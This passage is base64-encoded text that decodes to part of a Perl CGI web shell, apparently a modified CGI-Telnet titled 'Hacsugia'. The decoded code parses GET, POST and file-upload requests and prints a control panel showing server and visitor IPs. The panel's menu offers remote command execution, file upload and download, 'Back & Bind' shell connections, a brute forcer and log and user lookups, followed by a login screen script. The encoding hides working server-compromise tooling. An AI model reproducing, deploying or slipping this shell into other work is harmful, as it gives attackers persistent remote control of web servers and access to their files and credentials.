hJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFB